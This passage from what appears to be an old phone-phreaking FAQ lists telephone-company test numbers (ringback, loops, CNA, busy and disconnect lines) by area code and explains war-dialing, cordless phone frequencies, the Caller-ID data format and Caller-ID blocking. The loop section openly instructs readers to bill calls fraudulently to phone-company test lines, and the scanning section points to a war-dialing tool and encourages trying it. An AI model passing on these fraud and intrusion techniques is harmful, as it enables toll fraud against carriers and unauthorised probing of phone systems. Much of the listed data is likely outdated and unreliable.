	713	811	Humble, TX
N	713	380-5555-5555	Houston, TX
	714	114	Anaheim, CA (GTE)
	714	211-2121	Anaheim, CA (PacBell)
	714	211-2222	Anaheim, CA (Pacbell)
N	714	211-7777	Anaheim, CA (Pacbell)
	716	511	Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
	716	990	Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
	717	958	Harrisburg/Scranton/Wilkes-Barre, PA
	718	958	Bronx/Brooklyn/Queens/Staten Island, NY
N	770	940-xxx-xxxx	Marietta/Norcross, GA
N	770	780-2311	Marietta/Norcross, GA
	802	2-222-222-2222	Vermont
	802	200-222-2222	Vermont
	802	1-700-222-2222	Vermont
	802	111-2222	Vermont
N	804	990	Virginia Beach, VA
	805	114	Bakersfield/Santa Barbara, CA
	805	211-2345	Bakersfield/Santa Barbara, CA
	805	211-2346	Bakersfield/Santa Barbara, CA (Returns DTMF)
	805	830	Bakersfield/Santa Barbara, CA
	806	970-xxxx	Amarillo/Lubbock, TX
	810	200200200200200	Flint/Pontiac/Southfield/Troy, MI
N	810	311	Pontiac/Southfield/Troy, MI
	812	410-555-1212	Evansville, IN
	813	311	Ft. Meyers/St. Petersburg/Tampa, FL
N	815	200-3374	Crystal Lake, IL
N	815	270-3374	Crystal Lake, IL
N	815	770-3374	Crystal Lake, IL
	815	200-xxx-xxxx	La Salle/Rockford, IL
	815	290	La Salle/Rockford, IL
	817	211	Ft. Worth/Waco, TX
	817	970-611-1111	Ft. Worth/Waco, TX (Southwestern Bell)
	818	1223	Pasadena, CA (Some 1AESS switches)
	818	211-2345	Pasadena, CA (English response)
	818	211-2346	Pasadena, CA (DTMF response)
N	860	970	CT
	903	970-611-1111	Tyler, TX
	904	200-222-222	Jackonsville/Pensacola/Tallahasee, FL
	906	1-200-222-2222	Marquette/Sault Ste. Marie, MI
	907	811	AK
	908	958	New Brunswick, NJ
N	909	111	Riverside/San Bernardino, CA (GTE)
	910	200	Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
	910	311	Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
	910	988	Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
	914	990-1111	Peekskill/Poughkeepsie/White Plains/Yonkers, NY
	915	970-xxxx	Abilene/El Paso, TX
N	916	211-0007	Sacramento, CA (Pac Bell)
	916	461	Sacramento, CA (Roseville Telephone)
	919	200	Durham, NC
	919	711	Durham, NC
N	954	200-555-1212	Ft. Lauderdale, FL
N	954	200200200200200	Ft. Lauderdale, FL
N	954	780-2411	Ft. Lauderdale, FL

Canada:

204	644-4444	Manitoba

	306	115	Saskatchewan
	403	311	Alberta, Yukon and N.W. Territory
	403	908-222-2222	Alberta, Yukon and N.W. Territory
	403	999	Alberta, Yukon and N.W. Territory
	416	997-xxxx	Toronto, Ontario
	506	1-555-1313	New Brunswick
	514	320-xxxx	Montreal, Quebec
U	514	320-1232	Montreal, Quebec
U	514	320-1223	Montreal, Quebec
U	514	320-1233	Montreal, Quebec
	519	320-xxxx	London, Ontario
	604	1116	British Columbia
	604	1211	British Columbia
	604	211	British Columbia
	613	320-2232	Ottawa, Ontario
	705	320-4567	North Bay/Saulte Ste. Marie, Ontario
N	819	320-1112	Quebec

Australia:

+61	03-552-4111	Victoria 03 area
+612	19123	All major capital cities
+612	11544	

United Kingdom:
175

Israel:
110

12. What is a ringback number?

A ringback number is a number that you call that will immediately ring the telephone from which it was called.

In most instances you must call the ringback number, quickly hang up the phone for just a short moment and then let up on the switch, you will then go back off hook and hear a different tone. You may then hang up. You will be called back seconds later.

13. What is the ringback number for my area?

An 'x' means insert those numbers from the phone number from which you are calling. A '?' means that the number varies from switch to switch in the area, or changes from time to time. Try all possible combinations.

If the ringback for your NPA is not listed, try common ones such as 114, 951-xxx-xxxx, 954, 957 and 958. Also, try using the numbers listed for other NPA's served by your telephone company.

Note: These geographic areas are for reference purposes only. Ringback numbers may vary from switch to switch within the same city.

	NPA	Ringback number	Approximate Geographic area
	201	55?-xxxx	Hackensack/Jersey City/Newark/Paterson, NJ
	202	958-xxxx	District of Columbia
	203	99?-xxxx	CT
	206	571-xxxx	WA
N	208	59X-xxxx	ID

	208	99xxx-xxxx	ID
N	210	211-8849-xxxx	Brownsville/Laredo/San Antonio, TX (GTE)
	213	1-95x-xxxx	Los Angeles, CA
N	214	971-xxxx	Dallas, TX
	215	811-xxxx	Philadelphia, PA
	216	551-xxxx	Akron/Canton/Cleveland/Lorain/Youngstown, OH
	219	571-xxx-xxxx	Gary/Hammond/Michigan City/Southbend, IN
	219	777-xxx-xxxx	Gary/Hammond/Michigan City/Southbend, IN
	301	579-xxxx	Hagerstown/Rockville, MD
	301	958-xxxx	Hagerstown/Rockville, MD
	303	99X-xxxx	Grand Junction, CO
	304	998-xxxx	WV
	305	999-xxxx	Ft. Lauderdale/Key West/Miami, FL
	312	511-xxxx	Chicago, IL
	312	511-xxx-xxxx	Chicago, IL
	312	57?-xxxx	Chicago, IL
	315	98x-xxxx	Syracuse/Utica, NY
	317	777-xxxx	Indianapolis/Kokomo, IN
	317	yyy-xxxx	Indianapolis/Kokomo, IN (y=3rd digit of phone number)
	319	79x-xxxx	Davenport/Dubuque, Iowa
	334	901-xxxx	Montgomery, AL
	401	98?-xxxx	RI
	404	450-xxxx	Atlanta, GA
	407	988-xxxx	Orlando/West Palm Beach, FL
	408	470-xxxx	San Jose, CA
	408	580-xxxx	San Jose, CA
	412	985-xxxx	Pittsburgh, PA
	414	977-xxxx	Fond du Lac/Green Bay/Milwaukee/Racine, WI
	414	978-xxxx	Fond du Lac/Green Bay/Milwaukee/Racine, WI
	415	350-xxxx	San Francisco, CA
	417	551-xxxx	Joplin/Springfield, MO
	501	221-xxx-xxxx	AR
	501	721-xxx-xxxx	AR
	502	988	Frankfort/Louisville/Paducah/Shelbyville, KY
	503	541-XXXX	OR
	504	99x-xxxx	Baton Rouge/New Orleans, LA
	504	9988776655	Baton Rouge/New Orleans, LA
	505	59?-xxxx	New Mexico
	512	95X-xxxx	Austin, TX
	513	951-xxxx	Cincinnati/Dayton, OH
	513	955-xxxx	Cincinnati/Dayton, OH
	513	99?-xxxx	Cincinnati/Dayton, OH (X=0, 1, 2, 3, 4, 8 or 9)
N	515	559-XXXX	Des Moines, IA
	516	660-xxx-xxxx	Hempstead/Long Island, NY
	601	777-xxxx	MS
	609	55?-xxxx	Atlantic City/Camden/Trenton/Vineland, NJ
	610	811-xxxx	Allentown/Reading, PA
	612	511	Minneapolis/St.Paul, MN
	612	999-xxx-xxxx	Minneapolis/St.Paul, MN
N	613	999-xxx-xxxx	Ottawa, Ontario
	614	998-xxxx	Columbus/Steubenville, OH
	615	920-XXXX	Chatanooga/Knoxville/Nashville, TN
	615	930-xxxx	Chatanooga/Knoxville/Nashville, TN
	616	946-xxxx	Battle Creek/Grand Rapids/Kalamazoo, MI
	619	331-xxxx	San Diego, CA
	619	332-xxxx	San Diego, CA
N	659	981-XXXX	Newmarket, NH
N	703	511-xxx-xxxx	VA
	703	958-xxxx	Alexandria/Arlington/Roanoke, VA
	708	511-xxxx	Chicago/Elgin, IL
N	713	231-xxxx	Los Angeles, CA
	714	330?	Anaheim, CA (GTE)
	714	33?-xxxx	Anaheim, CA (PacBell)
	716	981-xxxx	Rochester, NY (Rochester Tel)

	718	660-xxxx	Bronx/Brooklyn/Queens/Staten Island, NY
	719	99x-xxxx	Colorado Springs/Leadville/Pueblo, CO
	801	938-xxxx	Utah
	801	939-xxxx	Utah
	802	987-xxxx	Vermont
	804	260	Charlottesville/Newport News/Norfolk/Richmond, VA
	805	114	Bakersfield/Santa Barbara, CA
	805	980-xxxx	Bakersfield/Santa Barbara, CA
	810	951-xxx-xxxx	Pontiac/Southfield/Troy, MI
	813	711	Ft. Meyers/St. Petersburg/Tampa, FL
	817	971	Ft. Worth/Waco, TX (Flashhook, then 2#)
	906	951-xxx-xxxx	Marquette/Sault Ste. Marie, MI
	908	55?-xxxx	New Brunswick, NJ
	908	953	New Brunswick, NJ
	913	951-xxxx	Lawrence/Salina/Topeka, KS
	914	660-xxxx-xxxx	Peekskill/Poughkeepsie/White Plains/Yonkers, NY

Canada:

	204	590-xxx-xxxx	Manitoba
	416	57x-xxxx	Toronto, Ontario
	416	99x-xxxx	Toronto, Ontario
	416	999-xxx-xxxx	Toronto, Ontario
	506	572+xxx-xxxx	New Brunswick
	514	320-xxx-xxxx	Montreal, Quebec
	519	999-xxx-xxxx	London, Ontario
N	604	311-xxx-xxxx	British Columbia
	613	999-xxx-xxxx	Ottawa, Ontario
	705	999-xxx-xxxx	North Bay/Saulte Ste. Marie, Ontario
N	819	320-xxx-xxxx	Quebec
N	905	999-xxx-xxxx	Hamilton/Mississauga/Niagra Falls, Ontario

	Australia:	+61 199
	Brazil:	109 or 199
N	France:	3644
	Holland:	99-xxxxxx
	New Zealand:	137
	Sweden:	0058
	United Kingdom:	174 or 1744 or 175 or 0500-89-0011
N	Amsterdam	0196
N	Hilversum	0123456789
N	Breukelen	0123456789
N	Groningen	951

14. What is a loop?

This FAQ answer is excerpted from: ToneLoc v0.99 User Manual
by Minor Threat & Mucho Maas

Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 836-9999. They are used by the phone company for testing. What good do loops do us? Well, they are cool in a few ways. Here is a simple use of loops. Each loop has two ends, a 'high' end, and a 'low' end. One end gives a (usually) constant, loud tone when it is called. The other end is silent. Loops don't usually ring either. When BOTH ends are called, the people that called each end can talk through the loop. Some loops are voice filtered and won't pass anything but a constant tone; these aren't much use to you. Here's what you can use working loops for: billing phone calls! First, call the end that gives the loud tone. Then if the operator or someone calls the other end, the tone will go quiet. Act like the phone just rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever. The operator thinks that she just called you, and that's it! Now the phone bill will go to the loop, and your local

RBOC will get the bill! Use this technique in moderation, or the loop may go down. Loops are probably most useful when you want to talk to someone to whom you don't want to give your phone number.

15. What is a loop in my area?

Many of these loops are no longer functional. If you are local to any of these loops, please try them out an e-mail me the results of your research.

NPA	High	Low
201	666-9929	666-9930
208	862-9996	862-9997
209	732-0044	732-0045
201	666-9929	666-9930
213	360-1118	360-1119
213	365-1118	365-1119
213	455-0002	455-XXXX
213	455-0002	455-xxxx
213	546-0002	546-XXXX
213	546-0002	546-xxxx
213	549-1118	549-1119
305	964-9951	964-9952
307	468-9999	468-9998
308	357-0004	357-0005
312	262-9902	262-9903
313	224-9996	224-9997
313	225-9996	225-9997
313	234-9996	234-9997
313	237-9996	237-9997
313	256-9996	256-9997
313	272-9996	272-9997
313	273-9996	273-9997
313	277-9996	277-9997
313	281-9996	281-9997
313	292-9996	292-9997
313	299-9996	299-9997
313	321-9996	321-9997
313	326-9996	326-9997
313	356-9996	356-9997
313	362-9996	362-9997
313	369-9996	369-9997
313	388-9996	388-9997
313	397-9996	397-9997
313	399-9996	399-9997
313	445-9996	445-9997
313	465-9996	465-9997
313	471-9996	471-9997
313	474-9996	474-9997
313	477-9996	477-9997
313	478-9996	478-9997
313	483-9996	483-9997
313	497-9996	497-9997
313	526-9996	526-9997
313	552-9996	552-9997
313	556-9996	556-9997
313	561-9996	561-9997
313	569-9996	569-9996
313	575-9996	575-9997
313	577-9996	577-9997
313	585-9996	585-9997
313	591-9996	591-9997

	313	621-9996	621-9997
	313	626-9996	626-9997
	313	644-9996	644-9997
	313	646-9996	646-9997
	313	647-9996	647-9997
	313	649-9996	649-9997
	313	663-9996	663-9997
	313	665-9996	665-9997
	313	683-9996	683-9997
	313	721-9996	721-9997
	313	722-9996	722-9997
	313	728-9996	728-9997
	313	731-9996	731-9997
	313	751-9996	751-9997
	313	776-9996	776-9997
	313	781-9996	781-9997
	313	787-9996	787-9997
	313	822-9996	822-9997
	313	833-9996	833-9997
	313	851-9996	851-9997
	313	871-9996	871-9997
	313	875-9996	875-9997
	313	886-9996	886-9997
	313	888-9996	888-9997
	313	898-9996	898-9997
	313	934-9996	934-9997
	313	942-9996	942-9997
	313	963-9996	963-9997
	313	977-9996	977-9997
	315	673-9995	673-9996
	315	695-9995	695-9996
	402	422-0001	422-0002
	402	422-0003	422-0004
	402	422-0005	422-0006
	402	422-0007	422-0008
	402	572-0003	572-0004
	402	779-0004	779-0007
	406	225-9902	225-9903
N	408	238-0044	238-0045
N	408	272-0044	272-0045
N	408	729-0044	729-0045
N	408	773-0044	773-0045
N	408	926-0044	926-0045
	517	422-9996	422-9997
	517	423-9996	423-9997
	517	455-9996	455-9997
	517	563-9996	563-9997
	517	663-9996	663-9997
	517	851-9996	851-9997
	609	921-9929	921-9930
	609	994-9929	994-9930
	613		966-1111
	616	997-9996	997-9997
	708	724-9951	724-????
	713	224-1499	759-1799
	713	324-1499	324-1799
	713	342-1499	342-1799
	713	351-1499	351-1799
	713	354-1499	354-1799
	713	356-1499	356-1799
	713	442-1499	442-1799
	713	447-1499	447-1799
	713	455-1499	455-1799
	713	458-1499	458-1799

	713	462-1499	462-1799
	713	466-1499	466-1799
	713	468-1499	468-1799
	713	469-1499	469-1799
	713	471-1499	471-1799
	713	481-1499	481-1799
	713	482-1499	482-1799
	713	484-1499	484-1799
	713	487-1499	487-1799
	713	489-1499	489-1799
	713	492-1499	492-1799
	713	493-1499	493-1799
	713	524-1499	524-1799
	713	526-1499	526-1799
	713	555-1499	555-1799
	713	661-1499	661-1799
	713	664-1499	664-1799
	713	665-1499	665-1799
	713	666-1499	666-1799
	713	667-1499	667-1799
	713	682-1499	976-1799
	713	771-1499	771-1799
	713	780-1499	780-1799
	713	781-1499	997-1799
	713	960-1499	960-1799
	713	977-1499	977-1799
	713	988-1499	988-1799
N	719	598-0009	598-0010
	805	528-0044	528-0045
	805	544-0044	544-0045
	805	773-0044	773-0045
	808	235-9907	235-9908
	808	239-9907	239-9908
	808	245-9907	245-9908
	808	247-9907	247-9908
	808	261-9907	261-9908
	808	322-9907	322-9908
	808	328-9907	328-9908
	808	329-9907	329-9908
	808	332-9907	332-9908
	808	335-9907	335-9908
	808	572-9907	572-9908
	808	623-9907	623-9908
	808	624-9907	624-9908
	808	668-9907	668-9908
	808	742-9907	742-9908
	808	879-9907	879-9908
	808	882-9907	882-9908
	808	885-9907	885-9908
	808	959-9907	959-9908
	808	961-9907	961-9908
	810	362-9996	362-9997
	813	385-9971	385-xxxx
	908	254-9929	254-9930
	908	558-9929	558-9930
	908	560-9929	560-9930
	908	776-9930	776-9930

16. What is a CNA number?

CNA stands for Customer Name and Address. The CNA number is a phone number for telephone company personnel to call and get the name and address for a phone number. If a telephone lineman finds a phone line he does not recognize, he can use the ANI number to find its phone number and then call the CNA operator to see who owns it and where they live.

Normal CNA numbers are available only to telephone company personnel. Private citizens may legally get CNA information from private companies. Two such companies are:

Unidirectory	(900)933-3330
Telename	(900)884-1212

Note that these are 900 numbers, and will cost you approximately one dollar per minute.

If you are in 312 or 708, AmeriTech has a pay-for-play CNA service available to the general public. The number is 796-9600. The cost is $.35/call and can look up two numbers per call.

If you are in 415, Pacific Bell offers a public access CNL service at (415)705-9299.

If you are in Bell Atlantic territory you can call (201)555-5454 or (908)555-5454 for automated CNA information. The cost is $.50/call.

17. What is the telephone company CNA number for my area?

203	(203)771-8080	CT
312	(312)796-9600	Chicago, IL
506	(506)555-1313	New Brunswick
513	(513)397-9110	Cincinnati/Dayton, OH
516	(516)321-5700	Hempstead/Long Island, NY
614	(614)464-0123	Columbus/Steubenville, OH
813	(813)270-8711	Ft. Meyers/St. Petersburg/Tampa, FL
NYNEX	(518)471-8111	New York, Connecticut, Vermont, Rhode Island, New Hampshire, and Massachusetts

18. What are some numbers that always ring busy?

In the following listings, "xxx" means that the same number is used as a constantly busy number in many different prefixes. In most of these, there are some exchanges that ring busy and some exchanges that are in normal use. *ALWAYS* test these numbers at least three times during normal business hours before using as a constantly busy number.

N	800	999-1803	WATS
N	201	635-9970	Hackensack/Jersey City/Newark/Paterson, NJ
N	212	724-9970	Manhattan, NY
N	213	xxx-1117	Los Angeles, CA
N	213	xxx-1118	Los Angeles, CA
N	213	xxx-1119	Los Angeles, CA
N	213	xxx-9198	Los Angeles, CA
	216	xxx-9887	Akron/Canton/Cleveland/Lorain/Youngstown, OH
	303	431-0000	Denver, CO
	303	866-8660	Denver, CO
N	310	xxx-1117	Long Beach, CA
N	310	xxx-1118	Long Beach, CA
N	310	xxx-1119	Long Beach, CA
N	310	xxx-9198	Long Beach, CA
	316	952-7265	Dodge City/Wichita, KS
	501	377-99xx	AR
U	719	472-3772	Colorado Springs/Leadville/Pueblo, CO
	805	255-0699	Bakersfield/Santa Barbara, CA

N	714	xxx-1117	Anaheim, CA
N	714	xxx-1118	Anaheim, CA
N	714	xxx-1119	Anaheim, CA
N	714	xxx-9198	Anaheim, CA
N	717	292-0009	Harrisburg/Scranton/Wilkes-Barre, PA
N	818	xxx-1117	Pasadena, CA
N	818	xxx-1118	Pasadena, CA
N	818	xxx-1119	Pasadena, CA
N	818	xxx-9198	Pasadena, CA
U	818	885-0699	Pasadena, CA (???-0699 is a pattern)
N	860	525-7078	Hartford, CT
	906	632-9999	Marquette/Sault Ste. Marie, MI
	906	635-9999	Marquette/Sault Ste. Marie, MI

19. What are some numbers that temporarily disconnect phone service?

If your NPA is not listed, or the listing does not cover your LATA, try common numbers such as 119 (GTD5 switches) or 511.

	314	511	Columbia/Jefferson City/St.Louis, MO	(1 minute)
	404	420	Atlanta, GA	(5 minutes)
	405	953	Enid/Oklahoma City, OK	(1 minute)
U	407	511	Orlando, FL (United Telephone)	(1 minute)
N	414	958-0013	Fond du Lac/Green Bay/Milwaukee/Racine, WI	(1 minute)
	512	200	Austin/Corpus Christi, TX	(1 minute)
	516	480	Hempstead/Long Island, NY	(1 minute)
	603	980	NH	
	614	xxx-9894	Columbus/Steubenville, OH	
	805	119	Bakersfield/Santa Barbara, CA	(3 minutes)
	919	211 or 511	Durham, NC	(10 min - 1 hour)

20. What is a Proctor Test Set?

A Proctor Test Set is a tool used by telco personnel to diagnose problems with phone lines. You call the Proctor Test Set number and press buttons on a touch tone phone to active the tests you select.

21. What is a Proctor Test Set in my area?

If your NPA is not listed try common numbers such as 111 or 117.

805	111	Bakersfield/Santa Barbara, CA
909	117	Tyler, TX
913	611-1111	Lawrence/Salina/Topeka, KS

22. What is scanning?

Scanning is dialing a large number of telephone numbers in the hope of finding interesting carriers (computers) or tones.

Scanning can be done by hand, although dialing several thousand telephone numbers by hand is extremely boring and takes a long time.

Much better is to use a scanning program, sometimes called a war dialer or a demon dialer. Currently, the best war dialer available to PC-DOS users is ToneLoc from Minor Threat and Mucho Maas. ToneLoc can be ftp'd from ftp.paranoia.com /pub/toneloc/.

A war dialer will dial a range of numbers and log what it finds at each number. You can then only dial up the numbers that the war dialer marked as carriers or tones.

23. Is scanning illegal?

Excerpt from: 2600, Spring 1990, Page 27:

-BQ-
In some places, scanning has been made illegal. It would be hard, though, for someone to file a complaint against you for scanning since the whole purpose is to call every number once and only once. It's not likely to be thought of as harassment by anyone who gets a single phone call from a scanning computer. Some central offices have been known to react strangely when people start scanning. Sometimes you're unable to get a dialtone for hours after you start scanning. But there is no uniform policy. The best thing to do is to first find out if you've got some crazy law saying you can't do it. If, as is likely, there is no such law, the only way to find out what happens is to give it a try.
-EQ-

It should be noted that a law making scanning illegal was recently passed in Colorado Springs, CO. It is now illegal to place a call in Colorado Springs without the intent to communicate.

24. Where can I purchase a lineman's handset?

Contact East
335 Willow Street
North Andover, MA 01845-5995
(508)682-2000

Jensen Tools
7815 S. 46th Street
Phoenix, AZ 85044-5399
(800)426-1194

Specialized Products
3131 Premier Drive
Irving, TX 75063
(800)866-5353

Time Motion Tools
12778 Brookprinter Place
Poway, CA 92064
(619)679-0303

25. What are the DTMF frequencies?

DTMF stands for Dual Tone Multi Frequency. These are the tones you get when you press a key on your telephone touch pad. The tone of the button is the sum of the column and row tones. The ABCD keys do not exist on standard telephones.

	1209	1336	1477	1633
697	1	2	3	A
770	4	5	6	B
852	7	8	9	C

941	*	0	#	D

26. What are the frequencies of the telephone tones?

Type	Hz	On	Off
Dial Tone	350 & 440	---	---
Busy Signal	480 & 620	0.5	0.5
Toll Congestion	480 & 620	0.2	0.3
Ringback (Normal)	440 & 480	2.0	4.0
Ringback (PBX)	440 & 480	1.5	4.5
Reorder (Local)	480 & 620	3.0	2.0
Invalid Number	200 & 400		
Hang Up Warning	1400 & 2060	0.1	0.1
Hang Up	2450 & 2600	---	---

27. What are all of the * (LASS) codes?

Local Area Signalling Services (LASS) and Custom Calling Feature Control Codes:

(These appear to be standard, but may be changed locally)

Service	Tone	Pulse/rotary	Notes
Assistance/Police	*12	n/a	[1]
Cancel forwarding	*30	n/a	[C1]
Automatic Forwarding	*31	n/a	[C1]
Notify	*32	n/a	[C1] [2]
Intercom Ring 1 (..)	*51	1151	[3]
Intercom Ring 2 (.._)	*52	1152	[3]
Intercom Ring 3 (._.)	*53	1153	[3]
Extension Hold	*54	1154	[3]
Customer Originated Trace	*57	1157	
Selective Call Rejection	*60	1160	(or Call Screen)
Selective Distinct Alert	*61	1161	
Selective Call Acceptance	*62	1162	
Selective Call Forwarding	*63	1163	
ICLID Activation	*65	1165	
Call Return (outgoing)	*66	1166	
Number Display Blocking	*67	1167	[4]
Computer Access Restriction	*68	1168	
Call Return (incoming)	*69	1169	
Call Waiting disable	*70	1170	[4]
No Answer Call Transfer	*71	1171	
Usage Sensitive 3 way call	*71	1171	
Call Forwarding: start	*72 or 72#	1172	
Call Forwarding: cancel	*73 or 73#	1173	
Speed Calling (8 numbers)	*74 or 74#	1174	
Speed Calling (30 numbers)	*75 or 75#	1175	
Anonymous Call Rejection	*77	1177	[5] [M: *58]
Call Screen Disable	*80	1180	(or Call Screen) [M: *50]
Selective Distinct Disable	*81	1181	[M: *51]
Select. Acceptance Disable	*82	1182	[4] [7]
Select. Forwarding Disable	*83	1183	[M: *53]
ICLID Disable	*85	1185	
Call Return (cancel out)	*86	1186	[6] [M: *56]
Anon. Call Reject (cancel)	*87	1187	[5] [M: *68]
Call Return (cancel in)	*89	1189	[6] [M: *59]

Notes:

[C1] - Means code used for Cellular One service

[1] - for cellular in Pittsburgh, PA A/C 412 in some areas

[2] - indicates that you are not local and maybe how to reach you

[3] - found in Pac Bell territory; Intercom ring causes a distinctive ring to be generated on the current line; Hold keeps a call connected until another extension is picked up

[4] - applied once before each call

[5] - A.C.R. blocks calls from those who blocked Caller ID (used in C&P territory, for instance)

[6] - cancels further return attempts

[7] - *82 (1182) has been mandated to be the nationwide code for "Send CLID info regardless of the default setting on this phone line."

[M: *xx] - alternate code used for MLVP (multi-line variety package) by Bellcore. It goes by different names in different RBOCs. In Bellsouth it is called Prestige. It is an arrangement of ESSEX like features for single or small multiple line groups.

The reason for different codes for some features in MLVP is that call-pickup is *8 in MLVP so all *8x codes are reassigned *5x

28. What frequencies do cordless phones operate on?

Here are the frequencies for the first generation 46/49mhz phones.

Channel	Handset Transmit	Base Transmit
1	49.670mhz	46.610mhz
2	49.845	46.630
3	49.860	46.670
4	49.770	46.710
5	49.875	46.730
6	49.830	46.770
7	49.890	46.830
8	49.930	46.870
9	49.990	46.930
10	49.970	46.970

The new "900mhz" cordless phones have been allocated the frequencies between 902-228MHz, with channel spacing between 30-100KHz.

Following are some examples of the frequencies used by phones currently on the market.

Panasonic KX-T9000 (60 Channels)
base   902.100 - 903.870 Base frequencies (30Khz spacing)
handset 926.100 - 927.870 Handset frequencies

CH	BASE	HANDSET	CH	BASE	HANDSET	CH	BASE	HANDSET
01	902.100	926.100	11	902.400	926.400	21	902.700	926.700
02	902.130	926.130	12	902.430	926.430	22	902.730	926.730
03	902.160	926.160	13	902.460	926.460	23	902.760	926.760
04	902.190	926.190	14	902.490	926.490	24	902.790	926.790
05	902.220	926.220	15	902.520	926.520	25	902.820	926.820
06	902.250	926.250	16	902.550	926.550	26	902.850	926.850
07	902.280	926.280	17	902.580	926.580	27	902.880	926.880
08	902.310	926.310	18	902.610	926.610	28	902.910	926.910
09	902.340	926.340	19	902.640	926.640	29	902.940	926.940
10	902.370	926.370	20	902.670	926.670	30	902.970	926.970
31	903.000	927.000	41	903.300	927.300	51	903.600	927.600

32	903.030	927.030	42	903.330	927.330	52	903.630	927.630
33	903.060	927.060	43	903.360	927.360	53	903.660	927.660
34	903.090	927.090	44	903.390	927.390	54	903.690	927.690
35	903.120	927.120	45	903.420	927.420	55	903.720	927.720
36	903.150	927.150	46	903.450	927.450	56	903.750	927.750
37	903.180	927.180	47	903.480	927.480	57	903.780	927.780
38	903.210	927.210	48	903.510	927.510	58	903.810	927.810
39	903.240	927.240	49	903.540	927.540	59	903.840	927.840
40	903.270	927.270	50	903.570	927.570	60	903.870	927.870

V-TECH TROPEZ DX900 (20 CHANNELS)
905.6 - 907.5   TRANSPONDER (BASE) FREQUENCIES (100 KHZ SPACING)
925.5 - 927.4   HANDSET FREQUENCIES

CH	BASE	HANDSET	CH	BASE	HANDSET	CH	BASE	HANDSET
01	905.600	925.500	08	906.300	926.200	15	907.000	926.900
02	905.700	925.600	09	906.400	926.300	16	907.100	927.000
03	905.800	925.700	10	906.500	926.400	17	907.200	927.100
04	905.900	925.800	11	906.600	926.500	18	907.300	927.200
05	906.000	925.900	12	906.700	926.600	19	907.400	927.300
06	906.100	926.000	13	906.800	926.700	20	907.500	927.400
07	906.200	926.100	14	906.900	926.800			

Other 900mhz cordless phones
AT&T #9120 - - - - - 902.0 - 905.0 & 925.0 - 928.0 MHZ
OTRON CORP. #CP-1000 902.1 - 903.9 & 926.1 - 927.9 MHZ
SAMSUNG #SP-R912- - - 903.0   &   927.0 MHZ

----

29. What is Caller-ID?

This FAQ answer is stolen from Rockwell:

Calling Number Delivery (CND), better known as Caller ID, is a telephone service intended for residential and small business customers. It allows the called Customer Premises Equipment (CPE) to receive a calling party's directory number and the date and time of the call during the first 4 second silent interval in the ringing cycle.

Parameters
\~\~\~\~\~\~\~\~\~\~

The data signalling interface has the following characteristics:

Link Type:	2-wire, simplex
Transmission Scheme:	Analog, phase-coherent FSK
Logical 1 (mark)	1200 +/- 12 Hz
Logical 0 (space)	2200 +/- 22 Hz
Transmission Rate:	1200 bps
Transmission Level:	13.5 +/- dBm into 900 ohm load

Protocol
\~\~\~\~\~\~\~\~

The protocol uses 8-bit data words (bytes), each bounded by a start bit and a stop bit. The CND message uses the Single Data Message format shown below.

```
| Channel   |  Carrier   |  Message   |  Message   |  Data        | Checksum |
| Seizure   |  Signal    |  Type      |  Length    |  Word(s)     | Word     |
| Signal    |            |  Word      |  Word      |              |          |
```

Channel Seizure Signal

The channel seizure is 30 continuous bytes of 55h (01010101) providing a detectable alternating function to the CPE (i.e. the modem data pump).

Carrier Signal

The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to condition the receiver for data.

Message Type Word

The message type word indicates the service and capability associated with the data message. The message type word for CND is 04h (00000100).

Message Length Word

The message length word specifies the total number of data words to follow.

Data Words

The data words are encoded in ASCII and represent the following information:

- The first two words represent the month
- The next two words represent the day of the month
- The next two words represent the hour in local military time
- The next two words represent the minute after the hour
- The calling party's directory number is represented by the remaining words in the data word field

If the calling party's directory number is not available to the terminating central office, the data word field contains an ASCII "O". If the calling party invokes the privacy capability, the data word field contains an ASCII "P".

Checksum Word

The Checksum Word contains the twos complement of the modulo 256 sum of the other words in the data message (i.e., message type, message length, and data words). The receiving equipment may calculate the modulo 256 sum of the received words and add this sum to the received checksum word. A result of zero generally indicates that the message was correctly received. Message retransmission is not supported.

Example CNS Single Data Message

An example of a received CND message, beginning with the message type word, follows:

```
04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51
```

```
04h=  Calling number delivery information code (message type word)
12h=  18 decimal; Number of data words (date,time, and directory
      number words)
ASCII 30,39= 09; September
ASCII 33,30= 30; 30th day
ASCII 31,32= 12; 12:00 PM
ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)
ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling
      party's directory number
51h=  Checksum Word
```

Data Access Arrangement (DAA) Requirements

To receive CND information, the modem monitors the phone line between the first and second ring bursts without causing the DAA to go off hook in the conventional sense, which would inhibit the transmission of CND by the local central office. A simple modification to an existing DAA circuit easily accomplishes the task.

Modem Requirements

Although the data signalling interface parameters match those of a Bell 202 modem, the receiving CPE need not be a Bell 202 modem. A V.23 1200 bps modem receiver may be used to demodulate the Bell 202 signal. The ring indicate bit (RI) may be used on a modem to indicate when to monitor the phone line for CND information. After the RI bit sets, indicating the first ring burst, the host waits for the RI bit to reset. The host then configures the modem to monitor the phone line for CND information.

Signalling

According to Bellcore specifications, CND signalling starts as early as 300 mS after the first ring burst and ends at least 475 mS before the second ring burst

Applications

Once CND information is received the user may process the information in a number of ways.

1. The date, time, and calling party's directory number can be displayed.

2. Using a look-up table, the calling party's directory number can be correlated with his or her name and the name displayed.

3. CND information can also be used in additional ways such as for:

    a. Bulletin board applications
    b. Black-listing applications
    c. Keeping logs of system user calls, or
    d. Implementing a telemarketing data base

References

For more information on Calling Number Delivery (CND), refer to Bellcore publications TR-TSY-000030 and TR-TSY-000031.

To obtain Bellcore documents contact:

Bellcore Customer Service
60 New England Avenue, Room 1B252
Piscataway, NJ   08834-4196
(908) 699-5800

30. How do I block Caller-ID?

Always test as much as possible before relying on any method of blocking Caller-ID. Some of these methods work in some areas, but not in others.

Dial *67 before you dial the number. (141 in the United Kingdom)
Dial your local TelCo and have them add Caller-ID block to your line.
Dial the 0 Operator and have him or her place the call for you.
Dial the call using a pre-paid phone card.
Dial through Security Consultants at (900)PREVENT for U.S. calls
     ($1.99/minute) or (900)STONEWALL for international calls ($3.99/minute).
Dial from a pay phone. :-)

31. What is a PBX?

